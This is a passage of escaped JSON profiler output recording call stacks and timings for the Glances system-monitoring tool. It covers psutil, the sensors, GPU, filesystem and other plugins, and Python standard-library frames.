[{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l314\": 0.008000433001143392},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l347\": 0.008000433001143392},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l394\": 0.008000433001143392},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l1593\": 0.008000433001143392},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l1857\": 0.008000433001143392},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l1593\": 0.008000433001143392},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l375\": 0.008000433001143392},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.008000433001143392, \"l1683\": 0.008000433001143392},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.008000,\"attributes\": {\"l730\": 0.008000433001143392},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.008000,\"attributes\": {\"l718\": 0.008000433001143392},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.006001,\"attributes\": {\"l682\": 0.006001275003654882},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.006001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_selected_extended_process\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000463\",\"time\": 0.001998,\"attributes\": {\"cGlancesProcesses\": 0.001997744999243878, \"l468\": 0.001997744999243878},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.003999,\"attributes\": {\"cGlancesProcesses\": 0.003999080996436533, \"l689\": 0.003999080996436533},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.003999,\"attributes\": {\"l589\": 0.003999080996436533},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.003999,\"attributes\": {\"l584\": 0.003999080996436533},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.0020021390009787865, \"l155\": 0.0020021390009787865},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002002,\"attributes\": {\"cGlancesProcesses\": 0.0020021390009787865, \"l711\": 0.0020021390009787865},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002002,\"attributes\": {\"l69\": 0.0020021390009787865},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002002,\"attributes\": {\"l34\": 0.0020021390009787865},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005997909000143409, \"l678\": 0.005997909000143409},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.0039999289947445504, \"l633\": 0.0019992639936390333, \"l656\": 0.002000665001105517},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019992639936390333, \"l614\": 0.0019992639936390333},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.024701,\"attributes\": {\"cGpuPlugin\": 0.015713669003162067, \"l1278\": 0.024700881003809627, \"cSystemPlugin\": 0.00898721200064756},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.024701,\"attributes\": {\"l1295\": 0.024700881003809627},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u0000123\",\"time\": 0.015714,\"attributes\": {\"cGpuPlugin\": 0.015713669003162067, \"l136\": 0.015713669003162067},\"children\": [{\"identifier\": \"get_device_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000052\",\"time\": 0.015714,\"attributes\": {\"cIntelGPU\": 0.015713669003162067, \"l63\": 0.015713669003162067},\"children\": [{\"identifier\": \"get_device_name\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u0000101\",\"time\": 0.015714,\"attributes\": {\"l106\": 0.002431067005090881, \"l113\": 0.013282601998071186},\"children\": [{\"identifier\": \"read_file\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000087\",\"time\": 0.002431,\"attributes\": {\"l93\": 0.002431067005090881},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002431,\"attributes\": {},\"children\": []}]},{\"identifier\": \"search\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000174\",\"time\": 0.013283,\"attributes\": {\"l177\": 0.013282601998071186},\"children\": [{\"identifier\": \"Pattern.search\\u0000<built-in>\\u00000\",\"time\": 0.006305,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.006305,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001264,\"attributes\": {\"l350\": 0.0012643360023503192},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001264,\"attributes\": {\"l762\": 0.0012643360023503192},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001264,\"attributes\": {\"l973\": 0.0012643360023503192},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001264,\"attributes\": {\"l460\": 0.0012643360023503192},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001264,\"attributes\": {\"l682\": 0.0012643360023503192},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001264,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"Pattern.search\\u0000<built-in>\\u00000\",\"time\": 0.005713,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005713,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/system/__init__.py\\u0000199\",\"time\": 0.008987,\"attributes\": {\"cSystemPlugin\": 0.00898721200064756, \"l211\": 0.00898721200064756},\"children\": [{\"identifier\": \"get_stats_from_std_sys_lib\\u0000/home/nicolargo/dev/glances/glances/plugins/system/__init__.py\\u0000182\",\"time\": 0.008987,\"attributes\": {\"cSystemPlugin\": 0.00898721200064756, \"l185\": 0.00898721200064756},\"children\": [{\"identifier\": \"architecture\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u0000776\",\"time\": 0.008987,\"attributes\": {\"l806\": 0.00898721200064756},\"children\": [{\"identifier\": \"_syscmd_file\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u0000732\",\"time\": 0.008987,\"attributes\": {\"l749\": 0.0013590579983429052, \"l755\": 0.007628154002304655},\"children\": [{\"identifier\": \"_follow_symlinks\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/platform.py\\u0000720\",\"time\": 0.001359,\"attributes\": {\"l726\": 0.0013590579983429052},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001359,\"attributes\": {},\"children\": []}]},{\"identifier\": \"check_output\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u0000423\",\"time\": 0.007628,\"attributes\": {\"l472\": 0.007628154002304655},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u0000512\",\"time\": 0.007628,\"attributes\": {\"l556\": 0.007628154002304655},\"children\": [{\"identifier\": \"communicate\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/subprocess.py\\u00001176\",\"time\": 0.007628,\"attributes\": {\"cPopen\": 0.007628154002304655, \"l1207\": 0.007628154002304655},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.007628,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007628,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.011313,\"attributes\": {\"cAmpsPlugin\": 0.001392999998643063, \"l678\": 0.01131274599902099, \"cProcesslistPlugin\": 0.009919746000377927},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.003301,\"attributes\": {\"cAmpsPlugin\": 0.001392999998643063, \"l634\": 0.001392999998643063, \"cProcesslistPlugin\": 0.001907755999127403, \"l633\": 0.001907755999127403},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001393,\"attributes\": {\"cAmpsPlugin\": 0.001392999998643063, \"l628\": 0.001392999998643063},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001393,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001908,\"attributes\": {\"cProcesslistPlugin\": 0.001907755999127403, \"l614\": 0.001907755999127403},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001908,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.006014,\"attributes\": {\"cProcesslistPlugin\": 0.006013947997416835, \"l634\": 0.0019996659975731745, \"l656\": 0.004014281999843661},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019996659975731745, \"l628\": 0.0019996659975731745},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.223769,\"attributes\": {\"cSensorsPlugin\": 0.2051012610027101, \"l1278\": 0.2237685860018246, \"cFsPlugin\": 0.0186673249991145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.223769,\"attributes\": {\"l1295\": 0.2237685860018246},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.205101,\"attributes\": {\"cSensorsPlugin\": 0.2051012610027101, \"l157\": 0.2051012610027101},\"children\": [{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.205101,\"attributes\": {\"cThreadPoolExecutor\": 0.2051012610027101, \"l667\": 0.2051012610027101},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.205101,\"attributes\": {\"cThreadPoolExecutor\": 0.2051012610027101, \"l273\": 0.2051012610027101},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.205101,\"attributes\": {\"cThread\": 0.2051012610027101, \"l1132\": 0.2051012610027101},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.205101,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.062471,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.123835,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.018795,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.018667,\"attributes\": {\"cFsPlugin\": 0.0186673249991145, \"l131\": 0.0186673249991145},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.018667,\"attributes\": {\"cFsPlugin\": 0.0186673249991145, \"l182\": 0.0186673249991145},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.018667,\"attributes\": {\"l620\": 0.0019428569939918816, \"l630\": 0.0053032650030218065, \"l631\": 0.01142120300210081},\"children\": [{\"identifier\": \"Queue\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000100\",\"time\": 0.001943,\"attributes\": {\"cForkContext\": 0.0019428569939918816, \"l102\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001943,\"attributes\": {\"l1371\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001943,\"attributes\": {\"l1342\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001943,\"attributes\": {\"l938\": 0.0019428569939918816},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001943,\"attributes\": {\"cSourceFileLoader\": 0.0019428569939918816, \"l762\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001943,\"attributes\": {\"l491\": 0.0019428569939918816},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/queues.py\\u00001\",\"time\": 0.001943,\"attributes\": {\"l23\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.001943,\"attributes\": {\"l1426\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001943,\"attributes\": {\"l491\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001943,\"attributes\": {\"l1371\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001943,\"attributes\": {\"l1342\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001943,\"attributes\": {\"l938\": 0.0019428569939918816},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001943,\"attributes\": {\"cSourceFileLoader\": 0.0019428569939918816, \"l758\": 0.0019428569939918816},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001943,\"attributes\": {\"cSourceFileLoader\": 0.0019428569939918816, \"l891\": 0.0019428569939918816},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.001943,\"attributes\": {\"l514\": 0.0019428569939918816},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.001943,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001943,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003389,\"attributes\": {\"cForkProcess\": 0.003389280005649198, \"l121\": 0.003389280005649198},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003389,\"attributes\": {\"l281\": 0.003389280005649198},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003389,\"attributes\": {\"cPopen\": 0.003389280005649198, \"l20\": 0.003389280005649198},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003389,\"attributes\": {\"cPopen\": 0.003389280005649198, \"l70\": 0.003389280005649198},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003389,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005790,\"attributes\": {\"cForkProcess\": 0.005789994000224397, \"l156\": 0.005789994000224397},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005790,\"attributes\": {\"cPopen\": 0.005789994000224397, \"l41\": 0.005789994000224397},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005790,\"attributes\": {\"l1165\": 0.005789994000224397},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005790,\"attributes\": {\"cPollSelector\": 0.005789994000224397, \"l398\": 0.005789994000224397},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005790,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005790,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001914,\"attributes\": {\"cForkProcess\": 0.0019139849973726086, \"l121\": 0.0019139849973726086},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001914,\"attributes\": {\"l281\": 0.0019139849973726086},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001914,\"attributes\": {\"cPopen\": 0.0019139849973726086, \"l20\": 0.0019139849973726086},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001914,\"attributes\": {\"cPopen\": 0.0019139849973726086, \"l70\": 0.0019139849973726086},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001914,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005631,\"attributes\": {\"cForkProcess\": 0.005631209001876414, \"l156\": 0.005631209001876414},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005631,\"attributes\": {\"cPopen\": 0.005631209001876414, \"l41\": 0.005631209001876414},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005631,\"attributes\": {\"l1165\": 0.005631209001876414},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005631,\"attributes\": {\"cPollSelector\": 0.005631209001876414, \"l398\": 0.005631209001876414},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005631,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005631,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000263\",\"time\": 0.001310,\"attributes\": {\"cFsPlugin\": 0.0013103969977237284, \"l266\": 0.0013103969977237284},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001310,\"attributes\": {\"cFsPlugin\": 0.0013103969977237284, \"l677\": 0.0013103969977237284},\"children\": [{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001310,\"attributes\": {\"l132\": 0.0013103969977237284},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001310,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.005989,\"attributes\": {\"cIpPlugin\": 0.0019603809996624477, \"l1278\": 0.00598936399910599, \"cMemPlugin\": 0.0019805949996225536, \"cQuicklookPlugin\": 0.0020483879998209886},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.005989,\"attributes\": {\"l1295\": 0.00598936399910599},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001960,\"attributes\": {\"cIpPlugin\": 0.0019603809996624477, \"l127\": 0.0019603809996624477},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001960,\"attributes\": {\"cIpPlugin\": 0.0019603809996624477, \"l140\": 0.0019603809996624477},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001960,\"attributes\": {\"cIpPlugin\": 0.0019603809996624477, \"l90\": 0.0019603809996624477},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001960,\"attributes\": {\"l746\": 0.0019603809996624477},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.001960,\"attributes\": {\"l2246\": 0.0019603809996624477},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.001960,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001960,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001377\",\"time\": 0.001981,\"attributes\": {\"cMemPlugin\": 0.0019805949996225536, \"l1384\": 0.0019805949996225536},\"children\": [{\"identifier\": \"_update_mmm_fields\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000233\",\"time\": 0.001981,\"attributes\": {\"cMemPlugin\": 0.0019805949996225536, \"l277\": 0.0019805949996225536},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001981,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002048,\"attributes\": {\"cQuicklookPlugin\": 0.0020483879998209886, \"l117\": 0.0020483879998209886},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002048,\"attributes\": {\"cCpuPercent\": 0.0020483879998209886, \"l252\": 0.0020483879998209886},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002048,\"attributes\": {\"l1945\": 0.0020483879998209886},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002048,\"attributes\": {\"l676\": 0.0020483879998209886},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002048,\"attributes\": {\"l730\": 0.0020483879998209886},\"children\": 